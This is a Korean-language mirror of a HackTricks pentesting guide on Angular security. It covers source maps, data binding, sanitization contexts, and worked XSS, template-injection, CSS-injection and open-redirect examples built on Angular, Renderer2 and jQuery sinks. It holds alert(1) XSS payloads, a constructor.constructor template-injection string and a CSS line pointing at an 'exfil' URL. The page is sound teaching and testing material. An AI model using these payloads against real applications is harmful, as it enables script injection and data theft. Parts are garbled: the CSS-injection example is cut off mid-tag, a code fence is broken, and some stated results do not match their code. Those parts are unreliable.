mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
582 lines
29 KiB
Markdown
582 lines
29 KiB
Markdown
# Angular
|
|
|
|
## 체크리스트
|
|
|
|
[여기](https://lsgeurope.com/post/angular-security-checklist)에서 체크리스트를 확인하세요.
|
|
|
|
* [ ] Angular는 클라이언트 사이드 프레임워크로 간주되며 서버 사이드 보호 기능을 제공하지 않습니다.
|
|
* [ ] 프로젝트 구성에서 스크립트의 소스맵이 비활성화되어 있습니다.
|
|
* [ ] 신뢰할 수 없는 사용자 입력은 항상 템플릿에서 사용되기 전에 보간(interpolation) 또는 살균(sanitization)됩니다.
|
|
* [ ] 사용자는 서버 사이드 또는 클라이언트 사이드 템플릿을 제어할 수 없습니다.
|
|
* [ ] 신뢰할 수 없는 사용자 입력은 애플리케이션이 신뢰하는 것으로 간주되기 전에 적절한 보안 컨텍스트를 사용하여 살균(sanitization)됩니다.
|
|
* [ ] `BypassSecurity*` 메서드는 신뢰할 수 없는 입력과 함께 사용되지 않습니다.
|
|
* [ ] 신뢰할 수 없는 사용자 입력은 `ElementRef`, `Renderer2`, `Document` 등의 Angular 클래스 또는 다른 JQuery/DOM sink에 전달되지 않습니다.
|
|
|
|
## Angular란
|
|
|
|
Angular는 **강력한** 오픈 소스 프론트엔드 프레임워크로, **Google**에서 유지보수하고 있습니다. 코드 가독성과 디버깅을 향상시키기 위해 **TypeScript**를 사용합니다. 강력한 보안 메커니즘을 갖추고 있어 Angular는 **XSS**와 **오픈 리디렉션**과 같은 일반적인 클라이언트 사이드 취약점을 방지합니다. 또한 서버 사이드에서도 사용할 수 있어 보안 고려 사항이 **양쪽 모두** 중요합니다.
|
|
|
|
## 프레임워크 아키텍처
|
|
|
|
Angular의 기본 개념을 더 잘 이해하기 위해 핵심 개념을 살펴보겠습니다.
|
|
|
|
일반적인 Angular 프로젝트는 보통 다음과 같은 구조를 가지고 있습니다.
|
|
```bash
|
|
my-workspace/
|
|
├── ... #workspace-wide configuration files
|
|
├── src
|
|
│ ├── app
|
|
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
|
|
│ │ ├── app.component.ts #defines the logic for the application's root component
|
|
│ │ ├── app.component.html #defines the HTML template associated with the root component
|
|
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
|
|
│ │ ├── app.component.spec.ts #defines a unit test for the root component
|
|
│ │ └── app-routing.module.ts #provides routing capability for the application
|
|
│ ├── lib
|
|
│ │ └── src #library-specific configuration files
|
|
│ ├── index.html #main HTML page, where the component will be rendered in
|
|
│ └── ... #application-specific configuration files
|
|
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
|
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
|
```
|
|
문서에 따르면, 모든 Angular 애플리케이션은 적어도 하나의 컴포넌트, 즉 루트 컴포넌트(`AppComponent`)를 가지고 있으며, 이 컴포넌트는 컴포넌트 계층 구조와 DOM을 연결합니다. 각 컴포넌트는 애플리케이션 데이터와 로직을 포함하는 클래스를 정의하며, 타겟 환경에서 표시할 뷰를 정의하는 HTML 템플릿과 연결됩니다. `@Component()` 데코레이터는 바로 아래의 클래스를 컴포넌트로 식별하고, 템플릿과 관련된 컴포넌트별 메타데이터를 제공합니다. `AppComponent`는 `app.component.ts` 파일에 정의되어 있습니다.
|
|
|
|
Angular NgModules는 컴포넌트 집합에 대한 컴파일 컨텍스트를 선언하며, 응용 프로그램 도메인, 워크플로우 또는 관련된 기능 세트에 전용됩니다. 모든 Angular 애플리케이션에는 일반적으로 `AppModule`이라는 이름의 루트 모듈이 있으며, 이 모듈은 애플리케이션을 시작하는 부트스트랩 메커니즘을 제공합니다. 일반적으로 애플리케이션에는 많은 기능 모듈이 포함됩니다. `AppModule`은 `app.module.ts` 파일에 정의되어 있습니다.
|
|
|
|
Angular `Router` NgModule은 애플리케이션의 다른 상태와 뷰 계층 사이에서 탐색 경로를 정의할 수 있는 서비스를 제공합니다. `RouterModule`는 `app-routing.module.ts` 파일에 정의되어 있습니다.
|
|
|
|
특정 뷰와 관련되지 않은 데이터나 로직을 공유하려면 서비스 클래스를 생성합니다. 서비스 클래스 정의는 `@Injectable()` 데코레이터로 바로 앞에 위치합니다. 이 데코레이터는 다른 프로바이더를 클래스에 의존성으로 주입할 수 있도록 메타데이터를 제공합니다. 의존성 주입(DI)을 사용하면 컴포넌트 클래스를 가볍고 효율적으로 유지할 수 있습니다. 컴포넌트 클래스는 서버에서 데이터를 가져오거나 사용자 입력을 유효성 검사하거나 콘솔에 직접 로그를 기록하지 않습니다. 이러한 작업은 서비스에 위임합니다.
|
|
|
|
## 소스맵 구성
|
|
|
|
Angular 프레임워크는 `tsconfig.json` 옵션을 따라 TypeScript 파일을 JavaScript 코드로 변환한 다음 `angular.json` 구성으로 프로젝트를 빌드합니다. `angular.json` 파일을 살펴보면 소스맵을 활성화하거나 비활성화할 수 있는 옵션이 있습니다. Angular 문서에 따르면, 기본 구성은 스크립트에 대한 소스맵 파일이 활성화되어 있으며 기본적으로 숨겨지지 않습니다.
|
|
```json
|
|
"sourceMap": {
|
|
"scripts": true,
|
|
"styles": true,
|
|
"vendor": false,
|
|
"hidden": false
|
|
}
|
|
```
|
|
일반적으로, 소스맵 파일은 디버깅 목적으로 사용되며 생성된 파일을 원본 파일에 매핑합니다. 따라서 프로덕션 환경에서 사용하는 것은 권장되지 않습니다. 소스맵이 활성화되면 Angular 프로젝트의 원래 상태를 복제하여 가독성을 향상시키고 파일 분석을 돕습니다. 그러나 비활성화된 경우에도 리뷰어는 보안에 취약한 패턴을 수동으로 검색하여 컴파일된 JavaScript 파일을 분석할 수 있습니다.
|
|
|
|
또한, Angular 프로젝트의 컴파일된 JavaScript 파일은 브라우저 개발자 도구 → 소스(또는 디버거 및 소스) → \[id].main.js에서 찾을 수 있습니다. 활성화된 옵션에 따라 이 파일은 끝에 다음 행을 포함할 수 있습니다. `//# sourceMappingURL=[id].main.js.map` 또는 **hidden** 옵션이 **true**로 설정된 경우 포함되지 않을 수도 있습니다. 그러나 **scripts**에 대한 소스맵이 비활성화된 경우 테스트가 더 복잡해지며 파일을 얻을 수 없습니다. 또한, 소스맵은 `ng build --source-map`과 같이 프로젝트 빌드 중에 활성화될 수 있습니다.
|
|
|
|
## 데이터 바인딩
|
|
|
|
바인딩은 컴포넌트와 해당하는 뷰 간의 통신 과정을 의미합니다. Angular 프레임워크와 데이터 간의 전송에 사용됩니다. 데이터는 이벤트, 보간법, 속성 또는 양방향 바인딩 메커니즘을 통해 전달될 수 있습니다. 또한, 데이터는 관련 컴포넌트(부모-자식 관계) 및 서비스 기능을 사용하여 두 개의 관련 없는 컴포넌트 간에 공유될 수도 있습니다.
|
|
|
|
데이터 흐름에 따라 바인딩을 분류할 수 있습니다:
|
|
|
|
* 데이터 소스에서 뷰 타겟으로 (보간법, 속성, 속성, 클래스 및 스타일 포함); 템플릿에서 `[]` 또는 `{{}}`를 사용하여 적용할 수 있습니다.
|
|
* 뷰 타겟에서 데이터 소스로 (이벤트 포함); 템플릿에서 `()`를 사용하여 적용할 수 있습니다.
|
|
* 양방향; 템플릿에서 `[()]`를 사용하여 적용할 수 있습니다.
|
|
|
|
바인딩은 속성, 이벤트 및 속성뿐만 아니라 소스 지시문의 모든 공개 멤버에 대해 호출될 수 있습니다:
|
|
|
|
| 유형 | 타겟 | 예시 |
|
|
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
|
|
| 속성 | 요소 속성, 컴포넌트 속성, 지시문 속성 | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
|
| 이벤트 | 요소 이벤트, 컴포넌트 이벤트, 지시문 이벤트 | \<button type="button" (click)="onSave()">Save |
|
|
| 양방향 | 이벤트 및 속성 | \<input \[(ngModel)]="name"> |
|
|
| 속성 | 속성 (예외) | \<button type="button" \[attr.aria-label]="help">help |
|
|
| 클래스 | 클래스 속성 | \<div \[class.special]="isSpecial">Special |
|
|
| 스타일 | 스타일 속성 | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
|
|
|
## Angular 보안 모델
|
|
|
|
Angular의 설계에는 모든 데이터의 인코딩 또는 살균이 기본적으로 포함되어 있어 Angular 프로젝트에서 XSS 취약점을 발견하고 악용하기가 점점 어려워집니다. 데이터 처리에는 두 가지 다른 시나리오가 있습니다:
|
|
|
|
1. 보간법 또는 `{{user_input}}`- 컨텍스트에 따라 인코딩을 수행하고 사용자 입력을 텍스트로 해석합니다.
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
test = "<script>alert(1)</script><h1>test</h1>";
|
|
|
|
//app.component.html
|
|
{{test}}
|
|
```
|
|
|
|
결과: `<script>alert(1)</script><h1>test</h1>`
|
|
2. 속성, 속성, 클래스 및 스타일에 대한 바인딩 또는 `[attribute]="user_input"` - 제공된 보안 컨텍스트에 따라 살균을 수행합니다.
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
test = "<script>alert(1)</script><h1>test</h1>";
|
|
|
|
//app.component.html
|
|
<div [innerHtml]="test"></div>
|
|
```
|
|
|
|
결과: `<div><h1>test</h1></div>`
|
|
|
|
`SecurityContext`에는 6가지 유형이 있습니다:
|
|
|
|
* `None`;
|
|
* 값을 HTML로 해석할 때 사용되는 `HTML`;
|
|
* CSS를 `style` 속성에 바인딩할 때 사용되는 `STYLE`;
|
|
* `<a href>`와 같은 URL 속성에 사용되는 `URL`;
|
|
* JavaScript 코드에 사용되는 `SCRIPT`;
|
|
* `<script src>`와 같이 코드로 로드되고 실행되는 URL을 나타내는 `RESOURCE_URL`.
|
|
|
|
## 취약점
|
|
|
|
### 보안 신뢰 메서드 우회
|
|
|
|
Angular는 기본 살균 프로세스를 우회하고 특정 컨텍스트에서 값이 안전하게 사용될 수 있음을 나타내기 위해 다음 다섯 가지 예제와 같이 메서드 목록을 도입합니다:
|
|
|
|
1. `bypassSecurityTrustUrl`은 주어진 값이 안전한 스타일 URL임을 나타냅니다:
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
|
|
|
|
//app.component.html
|
|
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
|
|
|
|
//result
|
|
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
|
|
```
|
|
2. `bypassSecurityTrustResourceUrl`은 주어진 값이 안전한 리소스 URL임을 나타냅니다:
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
|
|
|
|
//app.component.html
|
|
<iframe [src]="trustedResourceUrl"></iframe>
|
|
|
|
//result
|
|
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
|
|
```
|
|
3. `bypassSecurityTrustHtml`은 주어진 값이 안전한 HTML임을 나타냅니다. 이 방법으로 DOM 트리에 `script` 요소를 삽입해도 포함된 JavaScript 코드가 실행되지 않습니다.
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
|
|
|
|
//app.component.html
|
|
<p style="border:solid" [innerHtml]="trustedHtml"></p>
|
|
|
|
//result
|
|
<h1>html tag</h1>
|
|
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
|
|
```
|
|
4. `bypassSecurityTrustScript`은 주어진 값이 안전한 JavaScript임을 나타냅니다. 그러나 이 방법을 사용하여 템플릿에서 JS 코드를 실행할 수 없어 동작이 예측할 수 없다는 것을 발견했습니다.
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
|
|
|
|
//app.component.html
|
|
<script [innerHtml]="trustedScript"></script>
|
|
|
|
//result
|
|
-
|
|
```
|
|
5. `bypassSecurityTrustStyle`은 주어진 값이 안전한 CSS임을 나타냅니다. 다음 예제는 CSS 삽입을 보여줍니다:
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
|
|
|
|
//app.component.html
|
|
<input type="password"
|
|
### HTML 삽입
|
|
|
|
이 취약점은 사용자 입력이 `innerHTML`, `outerHTML`, 또는 `iframe` `srcdoc` 중 하나의 속성에 바인딩될 때 발생합니다. 이러한 속성에 바인딩하는 경우 HTML이 그대로 해석되지만, 입력은 `SecurityContext.HTML`을 사용하여 살균됩니다. 따라서 HTML 삽입은 가능하지만, 크로스 사이트 스크립팅 (XSS)은 불가능합니다.
|
|
|
|
`innerHTML` 사용 예시:
|
|
```jsx
|
|
//app.component.ts
|
|
import { Component} from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html'
|
|
})
|
|
export class AppComponent{
|
|
//define a variable with user input
|
|
test = "<script>alert(1)</script><h1>test</h1>";
|
|
}
|
|
|
|
//app.component.html
|
|
<div [innerHTML]="test"></div>
|
|
```
|
|
결과는 `<div><h1>테스트</h1></div>`입니다.
|
|
|
|
### 템플릿 주입
|
|
|
|
#### 클라이언트 측 렌더링 (CSR)
|
|
|
|
Angular는 페이지를 동적으로 구성하기 위해 템플릿을 활용합니다. 이 접근 방식은 Angular가 평가하기 위해 이중 중괄호(`{{}}`)로 둘러싼 템플릿 표현식을 포함합니다. 이를 통해 프레임워크는 추가적인 기능을 제공합니다. 예를 들어, `{{1+1}}`과 같은 템플릿은 2로 표시됩니다.
|
|
|
|
일반적으로, Angular는 템플릿 표현식과 혼동될 수 있는 사용자 입력을 이스케이프합니다 (예: \`< > ' " \`\`와 같은 문자). 이는 블랙리스트에 등록된 문자를 사용하지 않기 위해 JavaScript 문자열 객체를 생성하는 함수를 활용하는 등의 추가 단계가 필요함을 의미합니다. 그러나 이를 달성하기 위해서는 Angular 컨텍스트, 속성 및 변수를 고려해야 합니다. 따라서 템플릿 주입 공격은 다음과 같이 나타날 수 있습니다:
|
|
```jsx
|
|
//app.component.ts
|
|
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
|
@Component({
|
|
selector: 'app-root',
|
|
template: '<h1>title</h1>' + _userInput
|
|
})
|
|
```
|
|
위에서 보여진 것처럼: `constructor`은 객체 `constructor` 속성의 범위를 나타내며, 우리는 문자열 생성자를 호출하고 임의의 코드를 실행할 수 있습니다.
|
|
|
|
#### 서버 측 렌더링 (SSR)
|
|
|
|
CSR과 달리, Angular Universal은 템플릿 파일의 SSR을 담당합니다. 이러한 파일은 사용자에게 전달됩니다. 그러나 이 구별에도 불구하고, Angular Universal은 SSR 보안을 강화하기 위해 CSR에서 사용되는 동일한 살균 메커니즘을 적용합니다. SSR에서 템플릿 주입 취약점은 사용된 템플릿 언어가 동일하기 때문에 CSR에서와 같은 방식으로 발견될 수 있습니다.
|
|
|
|
물론, Pug와 Handlebars와 같은 타사 템플릿 엔진을 사용할 때 새로운 템플릿 주입 취약점을 도입할 수도 있습니다.
|
|
|
|
### XSS
|
|
|
|
#### DOM 인터페이스
|
|
|
|
이전에 언급한 대로, 우리는 _Document_ 인터페이스를 사용하여 직접 DOM에 접근할 수 있습니다. 사용자 입력이 사전에 유효성을 검사하지 않으면 크로스 사이트 스크립팅 (XSS) 취약점이 발생할 수 있습니다.
|
|
|
|
아래 예제에서는 `document.write()` 및 `document.createElement()` 메서드를 사용했습니다:
|
|
```jsx
|
|
//app.component.ts 1
|
|
import { Component} from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
template: ''
|
|
})
|
|
export class AppComponent{
|
|
constructor () {
|
|
document.open();
|
|
document.write("<script>alert(document.domain)</script>");
|
|
document.close();
|
|
}
|
|
}
|
|
|
|
//app.component.ts 2
|
|
import { Component} from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
template: ''
|
|
})
|
|
export class AppComponent{
|
|
constructor () {
|
|
var d = document.createElement('script');
|
|
var y = document.createTextNode("alert(1)");
|
|
d.appendChild(y);
|
|
document.body.appendChild(d);
|
|
}
|
|
}
|
|
|
|
//app.component.ts 3
|
|
import { Component} from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
template: ''
|
|
})
|
|
export class AppComponent{
|
|
constructor () {
|
|
var a = document.createElement('img');
|
|
a.src='1';
|
|
a.setAttribute('onerror','alert(1)');
|
|
document.body.appendChild(a);
|
|
}
|
|
}
|
|
```
|
|
#### Angular 클래스
|
|
|
|
Angular에서 DOM 요소와 작업하기 위해 사용할 수 있는 몇 가지 클래스가 있습니다: `ElementRef`, `Renderer2`, `Location` 및 `Document`. 마지막 두 클래스에 대한 자세한 설명은 **Open redirects** 섹션에서 제공됩니다. 첫 번째 두 클래스의 주요 차이점은 `Renderer2` API가 DOM 요소와 컴포넌트 코드 사이에 추상화 계층을 제공하는 반면, `ElementRef`는 요소에 대한 참조만을 보유한다는 것입니다. 따라서 Angular 문서에 따르면 `ElementRef` API는 DOM에 직접 액세스해야 할 때에만 마지막 수단으로 사용해야 합니다.
|
|
|
|
* `ElementRef`에는 DOM 요소를 조작하는 데 사용할 수 있는 `nativeElement` 속성이 포함되어 있습니다. 그러나 `nativeElement`의 부적절한 사용은 XSS 삽입 취약점을 초래할 수 있습니다. 아래의 예시를 참조하세요:
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent {
|
|
...
|
|
constructor(private elementRef: ElementRef) {
|
|
const s = document.createElement('script');
|
|
s.type = 'text/javascript';
|
|
s.textContent = 'alert("Hello World")';
|
|
this.elementRef.nativeElement.appendChild(s);
|
|
}
|
|
}
|
|
```
|
|
* `Renderer2`는 직접적인 네이티브 요소 액세스가 지원되지 않는 경우에도 안전하게 사용할 수 있는 API를 제공하지만, 여전히 일부 보안 결함이 있습니다. `Renderer2`를 사용하면 `setAttribute()` 메서드를 사용하여 HTML 요소에 속성을 설정할 수 있으며, 이 메서드에는 XSS 방지 메커니즘이 없습니다.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent {
|
|
|
|
public constructor (
|
|
private renderer2: Renderer2
|
|
){}
|
|
@ViewChild("img") img!: ElementRef;
|
|
|
|
addAttribute(){
|
|
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
|
|
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<img #img>
|
|
<button (click)="setAttribute()">Click me!</button>
|
|
```
|
|
* DOM 요소의 속성을 설정하기 위해 `Renderer2.setProperty()` 메서드를 사용하고 XSS 공격을 트리거할 수 있습니다:
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent {
|
|
|
|
public constructor (
|
|
private renderer2: Renderer2
|
|
){}
|
|
@ViewChild("img") img!: ElementRef;
|
|
|
|
setProperty(){
|
|
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<a #a></a>
|
|
<button (click)="setProperty()">Click me!</button>
|
|
```
|
|
|
|
저희의 연구 중에는 XSS 및 CSS 삽입과 관련하여 `Renderer2`의 `setStyle()`, `createComment()`, `setValue()`와 같은 다른 메서드의 동작도 조사했습니다. 그러나 이러한 메서드들에 대한 유효한 공격 벡터를 찾지 못했으며, 이는 기능적인 제한 때문입니다.
|
|
|
|
#### jQuery
|
|
|
|
jQuery는 Angular 프로젝트에서 HTML DOM 객체 조작을 돕기 위해 사용할 수 있는 빠르고 작고 기능이 풍부한 JavaScript 라이브러리입니다. 그러나 알려진 바와 같이 이 라이브러리의 메서드는 XSS 취약점을 얻을 수 있는 방법으로 악용될 수 있습니다. 취약한 jQuery 메서드가 Angular 프로젝트에서 어떻게 악용될 수 있는지 설명하기 위해 이 하위 섹션을 추가했습니다.
|
|
|
|
* `html()` 메서드는 일치하는 요소 집합의 첫 번째 요소의 HTML 콘텐츠를 가져오거나 모든 일치하는 요소의 HTML 콘텐츠를 설정합니다. 그러나 설계상 HTML 문자열을 허용하는 jQuery 생성자나 메서드는 잠재적으로 코드를 실행할 수 있습니다. 이는 `<script>` 태그의 삽입이나 코드를 실행하는 HTML 속성의 사용으로 발생할 수 있습니다.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, OnInit } from '@angular/core';
|
|
import * as $ from 'jquery';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent implements OnInit
|
|
{
|
|
ngOnInit()
|
|
{
|
|
$("button").on("click", function()
|
|
{
|
|
$("p").html("<script>alert(1)</script>");
|
|
});
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<button>Click me</button>
|
|
<p>some text here</p>
|
|
```
|
|
* `jQuery.parseHTML()` 메서드는 문자열을 DOM 노드 집합으로 변환하기 위해 네이티브 메서드를 사용하며, 이후 문서에 삽입할 수 있습니다.
|
|
|
|
```tsx
|
|
jQuery.parseHTML(data [, context ] [, keepScripts ])
|
|
```
|
|
|
|
이전에 언급한 대로, HTML 문자열을 허용하는 대부분의 jQuery API는 HTML에 포함된 스크립트를 실행합니다. `jQuery.parseHTML()` 메서드는 `keepScripts`가 명시적으로 `true`인 경우에만 구문 분석된 HTML에서 스크립트를 실행하지 않습니다. 그러나 대부분의 환경에서는 여전히 간접적으로 스크립트를 실행할 수 있습니다. 예를 들어, `<img onerror>` 속성을 통해 실행할 수 있습니다.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, OnInit } from '@angular/core';
|
|
import * as $ from 'jquery';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent implements OnInit
|
|
{
|
|
ngOnInit()
|
|
{
|
|
$("button").on("click", function()
|
|
{
|
|
var $palias = $("#palias"),
|
|
str = "<img src=1 onerror=alert(1)>",
|
|
html = $.parseHTML(str),
|
|
nodeNames = [];
|
|
$palias.append(html);
|
|
});
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<button>Click me</button>
|
|
<p id="palias">some text</p>
|
|
```
|
|
|
|
### Open redirects
|
|
|
|
#### DOM 인터페이스
|
|
|
|
W3C 문서에 따르면 `window.location` 및 `document.location` 객체는 현대 브라우저에서 별칭으로 처리됩니다. 그래서 이들은 일부 메서드와 속성의 유사한 구현을 가지고 있으며, 이는 아래에서 언급한대로 `javascript://` 스키마 공격을 통한 개방형 리디렉션 및 DOM XSS를 발생시킬 수 있습니다.
|
|
|
|
* `window.location.href`(및 `document.location.href`)
|
|
|
|
현재 DOM 위치 객체를 가져오는 정식 방법은 `window.location`을 사용하는 것입니다. 또한 브라우저를 새 페이지로 리디렉션할 수도 있습니다. 결과적으로 이 객체를 제어할 수 있다면 개방형 리디렉션 취약점을 악용할 수 있습니다.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
...
|
|
export class AppComponent {
|
|
goToUrl(): void {
|
|
window.location.href = "https://google.com/about"
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<button type="button" (click)="goToUrl()">Click me!</button>
|
|
```
|
|
|
|
다음 시나리오에 대해서도 동일한 방식으로 악용할 수 있습니다.
|
|
* `window.location.assign()`(및 `document.location.assign()`)
|
|
|
|
이 메서드는 창을 지정된 URL의 문서로 로드하고 표시합니다. 이 메서드를 제어할 수 있다면 개방형 리디렉션 공격의 싱크가 될 수 있습니다.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
...
|
|
export class AppComponent {
|
|
goToUrl(): void {
|
|
window.location.assign("https://google.com/about")
|
|
}
|
|
}
|
|
```
|
|
* `window.location.replace()`(및 `document.location.replace()`)
|
|
|
|
이 메서드는 현재 리소스를 제공된 URL의 리소스로 대체합니다.
|
|
|
|
`assign()` 메서드와 다른 점은 `window.location.replace()`를 사용한 후에는 현재 페이지가 세션 기록에 저장되지 않는다는 것입니다. 그러나 이 메서드를 제어할 수 있다면 개방형 리디렉션 취약점을 악용할 수도 있습니다.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
...
|
|
export class AppComponent {
|
|
goToUrl(): void {
|
|
window.location.replace("http://google.com/about")
|
|
}
|
|
}
|
|
``
|
|
#### Angular 클래스
|
|
|
|
* Angular 문서에 따르면, Angular `Document`는 DOM 문서와 동일하며, 이는 Angular에서 클라이언트 측 취약점을 악용하기 위해 일반적인 벡터를 사용할 수 있다는 것을 의미한다. `Document.location` 속성과 메서드는 다음 예제에서 보여주는 대로 성공적인 개방형 리디렉션 공격에 대한 취약점으로 사용될 수 있다:
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, Inject } from '@angular/core';
|
|
import { DOCUMENT } from '@angular/common';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent {
|
|
constructor(@Inject(DOCUMENT) private document: Document) { }
|
|
|
|
goToUrl(): void {
|
|
this.document.location.href = 'https://google.com/about';
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<button type="button" (click)="goToUrl()">Click me!</button>
|
|
```
|
|
* 연구 단계에서는 Angular `Location` 클래스도 개방형 리디렉션 취약점을 검토했지만, 유효한 벡터를 찾지 못했다. `Location`은 Angular 서비스로, 응용 프로그램이 브라우저의 현재 URL과 상호 작용할 수 있도록 한다. 이 서비스에는 주어진 URL을 조작하는 여러 가지 메서드가 있다 - `go()`, `replaceState()`, `prepareExternalUrl()` 등. 그러나 이들을 외부 도메인으로의 리디렉션에 사용할 수는 없다. 예를 들면:
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, Inject } from '@angular/core';
|
|
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css'],
|
|
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
|
|
})
|
|
export class AppComponent {
|
|
location: Location;
|
|
constructor(location: Location) {
|
|
this.location = location;
|
|
}
|
|
goToUrl(): void {
|
|
console.log(this.location.go("http://google.com/about"));
|
|
}
|
|
}
|
|
```
|
|
|
|
결과: `http://localhost:4200/http://google.com/about`
|
|
* Angular `Router` 클래스는 주로 동일한 도메인 내에서 탐색하는 데 사용되며, 응용 프로그램에 추가적인 취약점을 도입하지 않는다:
|
|
|
|
```jsx
|
|
//app-routing.module.ts
|
|
const routes: Routes = [
|
|
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
|
|
```
|
|
|
|
결과: `http://localhost:4200/https:`
|
|
|
|
다음 메서드들도 도메인 범위 내에서 탐색한다:
|
|
|
|
```jsx
|
|
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
|
|
this.router.navigate(['PATH'])
|
|
this.router.navigateByUrl('URL')
|
|
```
|
|
|
|
## 참고 자료
|
|
|
|
* [Angular](https://angular.io/)
|
|
* [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
|
|
* [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
|
|
* [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
|
|
* [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
|
|
* [Workspace and project file structure](https://angular.io/guide/file-structure)
|
|
* [Introduction to components and templates](https://angular.io/guide/architecture-components)
|
|
* [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
|
|
* [Binding syntax](https://angular.io/guide/binding-syntax)
|
|
* [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
|
|
* [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
|
|
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
|
|
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
|
|
* [Angular Universal](https://angular.io/guide/universal)
|
|
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
|
|
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
|
|
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
|
|
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
|
|
